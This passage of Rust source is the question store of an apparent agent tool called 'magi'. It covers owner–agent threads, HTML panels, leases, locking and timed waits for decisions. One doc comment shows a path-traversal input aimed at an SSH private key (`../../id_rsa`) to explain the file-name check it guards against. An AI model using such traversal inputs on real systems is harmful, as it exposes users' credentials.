880                "`{label}` cannot be undone; it settles question {} only when the owner's \
881                 latest message clearly says so, unhedged and quoted verbatim (no maybe / if \
882                 / not / question); ask what they mean with `--thread` instead",
883                self.short()
884            );
885        }
886        self.thread.push(Turn {
887            who: Who::Agent,
888            body: format!("Settled as `{label}` on the owner's words: \"{quote}\""),
889            at: Timestamp::now(),
890            note: note
891                .map(str::trim)
892                .filter(|n| !n.is_empty())
893                .map(str::to_owned),
894        });
895        self.delivered_turns = self.thread.len();
896        self.answer(Answer::Choice(label.to_owned()))
897    }
898
899    /// The owner speaking back without answering: a request for context, a
900    /// clarifying question, anything short of a decision.
901    ///
902    /// Rejects the same two states [`Question::answer`] does, and for the same
903    /// reason - a question with a recorded [`Answer`] or an abandoned one has
904    /// no run left listening for a reply - and an empty turn, which would tell
905    /// the agent nothing it didn't already know. Never changes `status`: the
906    /// question stays [`QuestionStatus::Open`], because the owner did not
907    /// decide anything, they only spoke, and `count_open`/`open_for` must keep
908    /// counting this as the one question it always was.
909    pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
910        match self.status {
911            QuestionStatus::Answered => bail!(
912                "question {} was already answered; there is nothing left to \
913                 discuss",
914                self.short()
915            ),
916            QuestionStatus::Abandoned => bail!(
917                "question {} was abandoned and the run behind it is gone",
918                self.short()
919            ),
920            QuestionStatus::Open => {}
921        }
922        let body = body.into();
923        if body.trim().is_empty() {
924            bail!("a message to question {} cannot be empty", self.short());
925        }
926        self.thread.push(Turn {
927            who: Who::Operator,
928            body,
929            at: Timestamp::now(),
930            note: None,
931        });
932        Ok(())
933    }
934
935    /// The agent replying to the owner's last word, in place of an answer:
936    /// same question, same id, another round.
937    ///
938    /// `choices` replaces [`Question::choices`] wholesale rather than merging,
939    /// on the same reasoning [`Questions::put_panel`] replaces a panel
940    /// wholesale: the whole point of asking back is that what should be
941    /// offered next may have changed, and a caller that wanted the old set
942    /// unchanged can simply pass it again. An empty `Vec` means free text,
943    /// exactly as it does when the question is first asked.
944    pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
945        match self.status {
946            QuestionStatus::Answered => bail!(
947                "question {} was already answered; replying now would not \
948                 reach anyone",
949                self.short()
950            ),
951            QuestionStatus::Abandoned => bail!(
952                "question {} was abandoned and the run behind it is gone",
953                self.short()
954            ),
955            QuestionStatus::Open => {}
956        }
957        let body = body.into();
958        if body.trim().is_empty() {
959            bail!("a reply to question {} cannot be empty", self.short());
960        }
961        // An action whose label is no longer offered could never fire.
962        self.actions.retain(|label, _| choices.contains(label));
963        self.choices = choices;
964        let unread = self.unread_from_owner().is_some();
965        self.thread.push(Turn {
966            who: Who::Agent,
967            body,
968            at: Timestamp::now(),
969            note: None,
970        });
971        // The agent has read everything up to its own reply - but only if
972        // nothing the owner said in the meantime is still unread. A second say
973        // that landed after the agent's last look must stay undelivered.
974        if !unread {
975            self.delivered_turns = self.thread.len();
976        }
977        Ok(())
978    }
979
980    /// What the owner said that the agent has not read yet, oldest first,
981    /// joined. `None` unless the question is open and such a turn exists.
982    ///
983    /// Not [`Question::waiting_on_agent`]: an agent's reply can land *after* a
984    /// second owner turn it never saw, which leaves the last turn the agent's
985    /// and the ball apparently back with the owner while a say is still unread.
986    pub fn unread_from_owner(&self) -> Option<String> {
987        if !self.status.open() {
988            return None;
989        }
990        let said = self.undelivered_owner_turns();
991        (!said.is_empty()).then(|| said.join("\n\n"))
992    }
993
994    /// Owner turns the agent has not been handed yet, oldest first, whatever
995    /// the question's status. [`Question::unread_from_owner`] adds the "still
996    /// open" guard the waiter and the deputy rely on; an answer being handed
997    /// over needs the says that came before it even though the question is
998    /// closed by then.
999    pub fn undelivered_owner_turns(&self) -> Vec<&str> {
1000        let from = self.delivered_turns.min(self.thread.len());
1001        self.thread[from..]
1002            .iter()
1003            .filter(|t| t.who == Who::Operator)
1004            .map(|t| t.body.as_str())
1005            .collect()
1006    }
1007
1008    /// When the conversation last moved: the newest thread turn, or the asking
1009    /// itself, in seconds. `magi ask --thread` re-arms `answer_timeout` on
1010    /// every reply, so a deadline runs from here and not from `asked_at`.
1011    pub fn last_activity(&self) -> i64 {
1012        self.thread
1013            .iter()
1014            .map(|t| t.at.as_second())
1015            .max()
1016            .unwrap_or(0)
1017            .max(self.asked_at.as_second())
1018    }
1019
1020    /// Is the ball in the agent's court?
1021    ///
1022    /// True from the moment the owner speaks back until the agent's next
1023    /// [`Question::reply`], and never on a fresh or an already-settled
1024    /// question. [`QuestionStatus`] does not move for either side of this -
1025    /// see [`Question::say`] - so this is the one place that state is
1026    /// readable at all, which is why [`crate::web::QuestionView`] carries it
1027    /// separately rather than asking the phone to infer it from the thread.
1028    pub fn waiting_on_agent(&self) -> bool {
1029        self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1030    }
1031
1032    /// Should a notification go out right now?
1033    ///
1034    /// Always, for the very first ask: [`Question::thread`] is still empty, so
1035    /// there is no earlier operator turn to have already caught anyone's
1036    /// attention. After that, only once [`REPLY_QUIET_WINDOW`] has passed
1037    /// since the owner's own last word - see that constant for why the window
1038    /// exists at all and why its length is not configurable.
1039    fn should_notify(&self, now: Timestamp) -> bool {
1040        let Some(last) = self
1041            .thread
1042            .iter()
1043            .rev()
1044            .find(|t| t.who == Who::Operator)
1045            .map(|t| t.at)
1046        else {
1047            return true;
1048        };
1049        now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1050    }
1051}
1052
1053/// A question store on disk.
1054#[derive(Debug, Clone)]
1055pub struct Questions {
1056    root: PathBuf,
1057}
1058
1059impl Questions {
1060    /// The operator's questions, `<home>/questions`.
1061    pub fn open() -> Self {
1062        Self::at(crate::run::home().join("questions"))
1063    }
1064
1065    /// A store at an explicit root. Tests use this, which is why none of them
1066    /// need the operator's real home.
1067    pub fn at(root: PathBuf) -> Self {
1068        Self { root }
1069    }
1070
1071    /// Directory holding the question files.
1072    pub fn root(&self) -> &Path {
1073        &self.root
1074    }
1075
1076    /// Path for one question id.
1077    pub fn path_of(&self, id: &str) -> PathBuf {
1078        self.root.join(format!("{id}.json"))
1079    }
1080
1081    /// Directory holding one question's panel, `<root>/<id>.panel`.
1082    pub fn panel_dir(&self, id: &str) -> PathBuf {
1083        self.root.join(format!("{id}{PANEL_DIR}"))
1084    }
1085
1086    /// Store a panel: the html, plus `assets` copied in under their base
1087    /// names. Updates `q.panel` and `q.assets`; the caller then [`put`]s the
1088    /// question, or the record on disk will deny having a panel that exists.
1089    ///
1090    /// The assets are **copied, not referenced**. An agent authors its panel
1091    /// inside a candidate worktree and points at files there, and `magi fold`
1092    /// deletes those worktrees; a question is the permanent record of a
1093    /// decision the owner took, so a panel that referenced its own images
1094    /// would render as broken boxes exactly when someone went back to ask why
1095    /// the decision was made. Copying follows symlinks - [`std::fs::copy`]
1096    /// does, and so does the [`std::fs::metadata`] the size is measured with,
1097    /// so the bytes counted and the bytes written are the same target file's -
1098    /// which is the intent: storing a link would leave the panel pointing at
1099    /// the worktree again, one indirection further away.
1100    ///
1101    /// Everything that can be rejected is rejected before the first byte is
1102    /// written, and the panel is then assembled in a scratch directory and
1103    /// swapped in. So a refusal leaves the previous panel intact, and a
1104    /// success replaces it *wholesale* rather than merging: a re-asked
1105    /// question showing one attempt's diff next to another attempt's table
1106    /// would be a panel neither agent ever wrote.
1107    ///
1108    /// [`put`]: Questions::put
1109    pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1110        if !valid_asset_name(&q.id) {
1111            bail!(
1112                "question id `{}` is not a name magi will build a panel path from",
1113                q.id
1114            );
1115        }
1116        if html.trim().is_empty() {
1117            bail!(
1118                "question {} was handed an empty panel; an empty frame reads to \
1119                 the owner as \"the agent had nothing to say\", which is a lie",
1120                q.short()
1121            );
1122        }
1123
1124        // Names, then sizes, then writing - in that order, so nothing below
1125        // can leave a partial panel on disk.
1126        let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1127        for src in assets {
1128            let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1129            if !valid_asset_name(name) {
1130                bail!(
1131                    "panel asset `{}` cannot be stored: a panel file name must \
1132                     match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1133                    src.display()
1134                );
1135            }
1136            if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1137                bail!(
1138                    "two panel assets are both named `{name}` - {} and {} - and \
1139                     the panel can only show one of them; rename one at the source",
1140                    first.display(),
1141                    src.display()
1142                );
1143            }
1144            named.push((name.to_owned(), src.as_path()));
1145        }
1146
1147        let mut total = html.len() as u64;
1148        for (_, src) in &named {
1149            let meta = std::fs::metadata(src)
1150                .with_context(|| format!("stat panel asset {}", src.display()))?;
1151            if !meta.is_file() {
1152                bail!(
1153                    "panel asset `{}` is not a file; a panel is html plus files \
1154                     copied beside it",
1155                    src.display()
1156                );
1157            }
1158            total = total.saturating_add(meta.len());
1159        }
1160        if total > PANEL_MAX_BYTES {
1161            bail!(
1162                "panel for question {} is {total} bytes, over magi's cap of \
1163                 {PANEL_MAX_BYTES} bytes; nothing was written",
1164                q.short()
1165            );
1166        }
1167
1168        let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1169        let dir = self.panel_dir(&q.id);
1170        std::fs::create_dir_all(&self.root)
1171            .with_context(|| format!("create {}", self.root.display()))?;
1172        clear_dir(&tmp)?;
1173        std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1174        if let Err(e) = fill_panel(&tmp, html, &named) {
1175            // A copy that dies halfway must not become the panel, and must not
1176            // leave scratch behind for the next call to inherit.
1177            let _ = std::fs::remove_dir_all(&tmp);
1178            return Err(e);
1179        }
1180        clear_dir(&dir)?;
1181        std::fs::rename(&tmp, &dir)
1182            .with_context(|| format!("move panel into {}", dir.display()))?;
1183
1184        q.panel = true;
1185        q.assets = named.into_iter().map(|(n, _)| n).collect();
1186        q.assets.sort_unstable();
1187        Ok(())
1188    }
1189
1190    /// The panel's html, or `None` when the question has no panel.
1191    ///
1192    /// `None` rather than an error for a missing panel because the caller is a
1193    /// web handler whose answer is 404 either way, and an unreadable panel is
1194    /// not a reason to fail the question it belongs to.
1195    pub fn panel_html(&self, id: &str) -> Option<String> {
1196        if !valid_asset_name(id) {
1197            return None;
1198        }
1199        std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1200    }
1201
1202    /// One file from a panel. `Ok(None)` is "no such file"; `Err` is "that is
1203    /// not a name a panel file can have".
1204    ///
1205    /// Rejects a name failing [`valid_asset_name`] **before touching the
1206    /// filesystem**, which is the whole point of the second check: the name
1207    /// arrives from a URL, the directory is on disk where any process could
1208    /// have dropped a file, and `<root>/<id>.panel/../../id_rsa` is a path the
1209    /// operating system would resolve perfectly happily. The two callers'
1210    /// distinct outcomes - 400 for a name, 404 for a file - are why this is
1211    /// `Result<Option<_>>` rather than one flattened `Option`.
1212    pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1213        if !valid_asset_name(name) {
1214            bail!(
1215                "`{name}` is not a panel file name; it must match \
1216                 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1217            );
1218        }
1219        if !valid_asset_name(id) {
1220            return Ok(None);
1221        }
1222        let dir = self.panel_dir(id);
1223        if !dir.is_dir() {
1224            return Ok(None);
1225        }
1226        let path = dir.join(name);
1227        match std::fs::read(&path) {
1228            Ok(bytes) => Ok(Some(bytes)),
1229            Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1230            Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1231        }
1232    }
1233
1234    /// Delete a question's panel, and any scratch a killed [`put_panel`] left.
1235    ///
1236    /// Succeeds when there is nothing to delete, so a caller cleaning up does
1237    /// not have to know whether a panel was ever written. The question record
1238    /// is not touched: the caller clears `panel` and `assets` and `put`s it,
1239    /// in the same order as everywhere else here.
1240    ///
1241    /// [`put_panel`]: Questions::put_panel
1242    pub fn drop_panel(&self, id: &str) -> Result<()> {
1243        if !valid_asset_name(id) {
1244            bail!("question id `{id}` is not a name magi will build a panel path from");
1245        }
1246        clear_dir(&self.panel_dir(id))?;
1247        clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1248    }
1249
1250    /// Path of the lease sidecar for one question id.
1251    pub fn lease_path(&self, id: &str) -> PathBuf {
1252        self.root.join(format!("{id}.lease"))
1253    }
1254
1255    /// The lease on a question, if a readable one exists.
1256    pub fn read_lease(&self, id: &str) -> Option<Lease> {
1257        let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1258        serde_json::from_str(&body).ok()
1259    }
1260
1261    /// Say, as `kind`, that something is alive and waiting on this question.
1262    ///
1263    /// Best-effort: a beat that cannot be written is a `tracing::debug`, never
1264    /// a reason to abandon a wait - the worst it costs is the waiter deciding
1265    /// the holder is gone a little early, and that is what the delivery guard
1266    /// (the seat still being busy) is there for.
1267    pub fn beat(&self, id: &str, kind: WaiterKind) {
1268        let lease = Lease {
1269            kind,
1270            pid: std::process::id(),
1271            beat_at: Timestamp::now(),
1272        };
1273        let path = self.lease_path(id);
1274        let tmp = path.with_extension("lease.tmp");
1275        let written = std::fs::create_dir_all(&self.root)
1276            .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1277            .and_then(|()| std::fs::rename(&tmp, &path));
1278        if let Err(e) = written {
1279            tracing::debug!("could not beat the lease on question {id}: {e}");
1280        }
1281    }
1282
1283    /// Remove the lease sidecar. Absent is fine.
1284    pub fn drop_lease(&self, id: &str) {
1285        let _ = std::fs::remove_file(self.lease_path(id));
1286    }
1287
1288    /// Read-modify-write one question under a short exclusive lock, so the
1289    /// waiter's bookkeeping, the asker's and the phone's `say` cannot overwrite
1290    /// each other with a copy that predates the others.
1291    ///
1292    /// [`Questions::put`] is an atomic *replace*, which protects a reader from
1293    /// a torn file and does nothing for two writers that both read the same
1294    /// version first. Everything that changes a question that can still be
1295    /// answered goes through here: `f` sees the current record, not one loaded
1296    /// earlier. A lock older than [`LOCK_STALE`] belongs to a writer that died
1297    /// mid-update and is broken.
1298    pub fn update<T>(
1299        &self,
1300        id: &str,
1301        f: impl FnOnce(&mut Question) -> Result<T>,
1302    ) -> Result<(Question, T)> {
1303        std::fs::create_dir_all(&self.root)
1304            .with_context(|| format!("create {}", self.root.display()))?;
1305        let lock = self.root.join(format!("{id}.lock"));
1306        let started = std::time::Instant::now();
1307        loop {
1308            match std::fs::OpenOptions::new()
1309                .write(true)
1310                .create_new(true)
1311                .open(&lock)
1312            {
1313                Ok(_) => break,
1314                Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1315                    let stale = std::fs::metadata(&lock)
1316                        .and_then(|m| m.modified())
1317                        .ok()
1318                        .and_then(|t| t.elapsed().ok())
1319                        .is_some_and(|age| age > LOCK_STALE);
1320                    if stale {
1321                        let _ = std::fs::remove_file(&lock);
1322                    } else if started.elapsed() > LOCK_STALE {
1323                        bail!("could not lock question {id}");
1324                    } else {
1325                        std::thread::sleep(Duration::from_millis(15));
1326                    }
1327                }
1328                Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1329            }
1330        }
1331        struct Unlock(PathBuf);
1332        impl Drop for Unlock {
1333            fn drop(&mut self) {
1334                let _ = std::fs::remove_file(&self.0);
1335            }
1336        }
1337        let _guard = Unlock(lock);
1338        let mut q = read_path(&self.path_of(id))?;
1339        let was_dismissed = q.resolution().as_deref() == Some(crate::merge_decision::DISMISS);
1340        let out = f(&mut q)?;
1341        if !was_dismissed && q.resolution().as_deref() == Some(crate::merge_decision::DISMISS) {
1342            let home = self.root.parent().context("question store has no home")?;
1343            crate::merge_decision::dismiss(home, &q)?;
1344        }
1345        self.put(&mut q)?;
1346        Ok((q, out))
1347    }
1348
1349    /// Write a question, atomically, so a process killed mid-write leaves the
1350    /// previous state readable rather than a truncated file that would strand
1351    /// the run waiting on it.
1352    pub fn put(&self, q: &mut Question) -> Result<()> {
1353        std::fs::create_dir_all(&self.root)
1354            .with_context(|| format!("create {}", self.root.display()))?;
1355        let body = serde_json::to_string_pretty(q).context("serialize question")?;
1356        let path = self.path_of(&q.id);
1357        let tmp = path.with_extension("json.tmp");
1358        let is_new = !path.exists();
1359        std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1360        std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1361        // A first write of an open question pages the operator, so a separate
1362        // notification about the same task or run is now a second page.
1363        if is_new
1364            && q.status.open()
1365            && q.node != crate::bump::NOTICE_NODE
1366            && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1367        {
1368            crate::notices::quiet_for(home, q);
1369        }
1370        Ok(())
1371    }
1372
1373    /// Load a question by id or unambiguous id prefix.
1374    pub fn get(&self, id: &str) -> Result<Question> {
1375        let resolved = self.resolve_id(id)?;
1376        let q = read_path(&self.path_of(&resolved))?;
1377        Ok(self.with_repair_choice(q))
1378    }
1379
1380    fn with_repair_choice(&self, mut q: Question) -> Question {
1381        // Older local release approvals already persisted their displayed head
1382        // in the watch record. Recover that binding, never today's forge head.
1383        if q.status.open()
1384            && q.merge_target.is_none()
1385            && let Some(home) = self.root.parent()
1386            && let Some(target) = crate::release_watch::approval_target(home, &q)
1387            && let Ok((current, ())) = self.update(&q.id, |current| {
1388                if current.status.open() && current.merge_target.is_none() {
1389                    current.merge_target = Some(target.clone());
1390                }
1391                Ok(())
1392            })
1393        {
1394            q = current;
1395        }
1396        if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1397            && q.node == crate::land::APPROVAL_NODE
1398            && let Some(home) = self.root.parent()
1399            && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1400        {
1401            let mut upgraded = q.clone();
1402            if crate::land::upgrade_repair_choice(&mut upgraded, &state) {
1403                match self.update(&q.id, |current| {
1404                    crate::land::upgrade_repair_choice(current, &state);
1405                    Ok(())
1406                }) {
1407                    Ok((current, ())) => return current,
1408                    Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1409                }
1410            }
1411        }
1412        q
1413    }
1414
1415    /// Every question on disk: open first, then newest first.
1416    ///
1417    /// Open first because that ordering is the product - the list exists to
1418    /// show the operator what has stopped, and an answered question is history
1419    /// underneath it. Unreadable files are skipped rather than fatal: one
1420    /// corrupt question must not take the web UI down, and must certainly not
1421    /// hide the open question the operator was looking for.
1422    pub fn list(&self) -> Vec<Question> {
1423        let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1424            .into_iter()
1425            .flatten()
1426            .flatten()
1427            .map(|e| e.path())
1428            .filter(|p| p.extension().is_some_and(|x| x == "json"))
1429            .filter_map(|p| read_path(&p).ok())
1430            .map(|q| self.with_repair_choice(q))
1431            .collect();
1432        all.sort_unstable_by(|a, b| {
1433            let rank = |q: &Question| u8::from(!q.status.open());
1434            rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1435        });
1436        all
1437    }
1438
1439    /// Open questions belonging to one run, newest first.
1440    ///
1441    /// Used to decide whether a parked run can be resumed: while this is
1442    /// non-empty, nothing about the run has changed and no agent should be
1443    /// spawned for it.
1444    pub fn open_for(&self, run: &str) -> Vec<Question> {
1445        self.list()
1446            .into_iter()
1447            .filter(|q| q.status.open() && q.run == run)
1448            .collect()
1449    }
1450
1451    /// Abandon every open question belonging to a run, and report how many.
1452    ///
1453    /// Called when a run's record is deleted. The agent that asked died with
1454    /// the run, so there is nobody left to hand an answer to, and a question
1455    /// left open would keep asking the operator for a decision that can no
1456    /// longer be delivered - the phone showed exactly that: "auth.rs というファ
1457    /// イルが見つかりません" with two buttons, for a run whose directory had
1458    /// been gone for two hours.
1459    ///
1460    /// Abandoned rather than deleted, because [`Question::abandon`] already
1461    /// means "this can no longer be answered" and the record of having asked
1462    /// is worth keeping. Answered questions are left exactly as they are.
1463    pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1464        let mut abandoned = 0;
1465        for mut q in self.open_for(run) {
1466            q.abandon(why);
1467            self.put(&mut q)?;
1468            abandoned += 1;
1469        }
1470        Ok(abandoned)
1471    }
1472
1473    /// Abandon a run's open questions once `status` says the run is not
1474    /// coming back, worded with what it actually became.
1475    ///
1476    /// The run-deleted case above and this one are the same fact - nobody is
1477    /// left to read an answer - reached by two different doors. This is the
1478    /// one for a run that finished on its own: merged, reached `Ready` with
1479    /// nothing left to do, failed outright with no established point to
1480    /// resume from, or every candidate agreed, with evidence, that nothing
1481    /// belonged in the worktree. Those are exactly the statuses
1482    /// [`RunStatus::resumable`]
1483    /// excludes, and that is the line this draws too - deliberately not
1484    /// [`RunStatus::done`], which also counts `Blocked` and `Stalled` as
1485    /// over. Both of those can still be picked back up with the candidates,
1486    /// the review round and the seat sessions already on disk, so a question
1487    /// asked mid-round may yet get a real answer from a real resume, and
1488    /// folding it here would be exactly the mistake this function exists to
1489    /// avoid on the other side - answering back into a run that no longer
1490    /// exists to read it.
1491    ///
1492    /// A no-op, not an error, when `status` is still resumable or when there
1493    /// was nothing open to begin with - callers reach this from more than one
1494    /// place a run can settle, and a second call finding nothing left to
1495    /// abandon is the expected case, not a bug.
1496    pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1497        if status.resumable() {
1498            return Ok(0);
1499        }
1500        let why = format!(
1501            "run {run} {}, so nothing is waiting for this answer",
1502            status.as_str()
1503        );
1504        // A post-merge notice is the exception: it is filed *because* the run
1505        // merged, and no agent waits on it - it is a to-do for the owner, not
1506        // a question a dead seat asked. Abandoning it here would erase the
1507        // only alert the moment the run settles.
1508        let mut abandoned = 0;
1509        for mut q in self.open_for(run) {
1510            if q.node == crate::bump::NOTICE_NODE {
1511                continue;
1512            }
1513            q.abandon(&why);
1514            self.put(&mut q)?;
1515            abandoned += 1;
1516        }
1517        Ok(abandoned)
1518    }
1519
1520    /// Expand an id prefix to exactly one question id. The short id the phone
1521    /// and the reports show is a suffix, so that is accepted too.
1522    pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1523        use crate::queue::{Reference, record_ids, resolve_reference};
1524        let ids = record_ids(&self.root, "json")?;
1525        match resolve_reference(prefix, ids.iter().map(String::as_str)) {
1526            Reference::Found(id) => Ok(id),
1527            Reference::Missing => bail!("no question matches `{prefix}`"),
1528            Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
1529        }
1530    }
1531
1532    /// Newest modification time in the store, in milliseconds, for change
1533    /// detection. The web UI compares this instead of re-reading every
1534    /// question, so an idle phone on a slow link costs one `stat` per file.
1535    pub fn revision(&self) -> u64 {
1536        std::fs::read_dir(&self.root)
1537            .into_iter()
1538            .flatten()
1539            .flatten()
1540            .filter_map(|e| e.metadata().ok())
1541            .filter_map(|m| m.modified().ok())
1542            .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1543            .map(|d| d.as_millis() as u64)
1544            .max()
1545            .unwrap_or(0)
1546    }
1547
1548    /// How many questions are open, whichever side of the conversation is
1549    /// holding the ball right now. Ten turns of back and forth between the
1550    /// owner and the agent are still one open question - see
1551    /// [`Question::say`] - so this does not drop while a reply is in
1552    /// flight. [`Self::count_needs_owner`] is the number that does.
1553    pub fn count_open(&self) -> usize {
1554        self.list().iter().filter(|q| q.status.open()).count()
1555    }
1556
1557    /// How many open questions actually need the owner right now: open, and
1558    /// not [`Question::waiting_on_agent`], or the follow-up is exhausted.
1559    ///
1560    /// This is the number a notification channel owes - the ask bar, the nav
1561    /// badge, the document title - because those exist to say "something
1562    /// needs you". An unread say stops needing the agent once its follow-up
1563    /// has spent its starts. `count_open` stays as it is for [`Self::open_for`]'s callers,
1564    /// where a round trip must not look like the run resumed.
1565    pub fn count_needs_owner(&self) -> usize {
1566        self.list()
1567            .iter()
1568            .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
1569            .count()
1570    }
1571
1572    /// The follow-up spent its starts and its final turn is no longer alive.
1573    /// Computed from the lease rather than saved with the question, so the
1574    /// owner can decide even when an unread message remains in the thread.
1575    pub fn deputy_exhausted(&self, q: &Question) -> bool {
1576        q.status.open()
1577            && q.deputy
1578                .as_ref()
1579                .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
1580            && !self
1581                .read_lease(&q.id)
1582                .is_some_and(|l| l.fresh(Timestamp::now()))
1583    }
1584}
1585
1586/// How a wait over [`Question`] ended.
1587#[derive(Debug, Clone, PartialEq, Eq)]
1588pub enum Wait {
1589    /// The owner decided. Carries [`Question::resolution`].
1590    Answered(String),
1591    /// The owner spoke back without deciding - see [`Question::say`]. The
1592    /// question is still [`QuestionStatus::Open`] and carries no [`Answer`];
1593    /// the caller's move is to hand this text to the agent and let it call
1594    /// `magi ask --thread` to keep talking, not to treat it as a decision.
1595    Replied(String),
1596    /// This call's [`WAIT_SLICE`] ran out with the question still
1597    /// [`QuestionStatus::Open`] and nothing having happened - not the owner
1598    /// going quiet, the clock on *this process* running out. The question is
1599    /// untouched; the caller's move is `magi ask --wait <id>` in a fresh
1600    /// process, so the wait resumes before the shell tool that would have
1601    /// killed this one gets the chance.
1602    Pending,
1603    /// Nobody said anything before the deadline, or the question was closed
1604    /// out from under the wait with no decision recorded - a run deleted out
1605    /// from under it, most often. Either way [`QuestionStatus::Abandoned`] is
1606    /// now on disk.
1607    Abandoned,
1608}
1609
1610/// File a question and wait for the owner, polling the store.
1611///
1612/// The question is updated in place from disk whenever the wait ends, so the
1613/// caller can act on it without re-reading it. `timeout` is the question's
1614/// whole `answer_timeout` budget, but this call spends at most [`WAIT_SLICE`]
1615/// of it - see [`Wait::Pending`] for what happens to the rest.
1616pub async fn ask_and_wait(
1617    q: &mut Question,
1618    store: &Questions,
1619    notify: &config::Notify,
1620    timeout: Duration,
1621) -> Result<Wait> {
1622    wait_for_owner(q, store, notify, timeout, POLL).await
1623}
1624
1625/// Resume a wait already filed, without adding a turn or notifying again.
1626///
1627/// This is `magi ask --wait <id>`'s engine: the process that owned the
1628/// previous slice is dead (the tool that ran it killed it, or it simply
1629/// exited after reporting [`Wait::Pending`]), but the question on disk never
1630/// stopped being open, and the owner was already notified about it once. A
1631/// second notification for the same unanswered question would page the
1632/// owner every [`WAIT_SLICE`] for a question they have already seen - so,
1633/// unlike [`ask_and_wait`], this skips straight to polling.
1634///
1635/// `timeout` is **not** re-armed to a fresh `answer_timeout` here - the
1636/// caller computes it as what remains until [`Question::asked_at`] plus the
1637/// configured `answer_timeout`, so stacking `--wait` calls can only ever use
1638/// up the deadline the first ask set, never push it out further.
1639pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1640    wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1641}
1642
1643/// [`ask_and_wait`] with the poll interval injected.
1644///
1645/// Separate only so the tests can drive a whole wait in milliseconds instead of
1646/// sleeping through [`POLL`]; production has exactly one interval, and it is not
1647/// a knob the operator gets to tune.
1648async fn wait_for_owner(
1649    q: &mut Question,
1650    store: &Questions,
1651    cfg: &config::Notify,
1652    timeout: Duration,
1653    poll: Duration,
1654) -> Result<Wait> {
1655    // A question that is already on disk (a `--thread` reply just wrote it under
1656    // the lock) is left alone: this copy may predate an answer or say that
1657    // landed since, and writing it back would erase that.
1658    if !store.path_of(&q.id).is_file() {
1659        store.put(q).context("file the question")?;
1660    }
1661    if q.should_notify(Timestamp::now()) {
1662        if let Err(e) = notify(cfg, q).await {
1663            // A broken webhook is not a reason to throw away an implementation.
1664            // The question is already on disk and the web UI already shows it,
1665            // so the operator still has a way in; only the tap on the shoulder
1666            // is lost.
1667            tracing::warn!(
1668                "could not notify about question {}: {e:#} - the web UI is the \
1669                 only surface for it now",
1670                q.short()
1671            );
1672        }
1673    }
1674    tracing::info!(
1675        "question {} from {} is waiting for you: {}",
1676        q.short(),
1677        q.seat,
1678        q.summary
1679    );
1680    wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1681}
1682
1683/// Take the wait as this process: beat the lease and note it on the record.
1684fn hold(store: &Questions, id: &str) {
1685    store.beat(id, WaiterKind::Asker);
1686    let took = store.update(id, |q| {
1687        if q.status.open() {
1688            q.waiter = Some(Waiter {
1689                kind: WaiterKind::Asker,
1690                since: Timestamp::now(),
1691            });
1692        }
1693        Ok(())
1694    });
1695    if let Err(e) = took {
1696        tracing::debug!("could not note the wait on question {id}: {e:#}");
1697    }
1698}
1699
1700/// Record that the agent has read everything so far, so the daemon waiter does
1701/// not resume a session to tell it what was already printed.
1702///
1703/// Callers must invoke this only **after** the word reached the agent's stdout:
1704/// marking first would let a tool timeout kill the process between the mark
1705/// and the print, and the waiter would then consider a word delivered that no
1706/// agent ever saw.
1707pub fn hand_over(store: &Questions, q: &mut Question) {
1708    let done = store.update(&q.id, |r| {
1709        r.delivered_turns = r.delivered_turns.max(q.thread.len());
1710        if r.status == QuestionStatus::Answered {
1711            r.answer_delivered = true;
1712        }
1713        r.waiter = None;
1714        Ok(())
1715    });
1716    match done {
1717        Ok((fresh, ())) => *q = fresh,
1718        Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1719    }
1720}
1721
1722/// What the agent is shown for an answer: the owner's says it has not read
1723/// yet, in order, then the answer. With no such say it is `answer` itself,
1724/// byte for byte.
1725pub fn answer_for_agent(q: &Question, answer: &str) -> String {
1726    let says = q.undelivered_owner_turns();
1727    if says.is_empty() {
1728        return answer.to_owned();
1729    }
1730    format!(
1731        "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
1732        says.join("\n\n")
1733    )
1734}
1735
1736/// Print an answer (with any unread says before it) to `out`, flush, and only
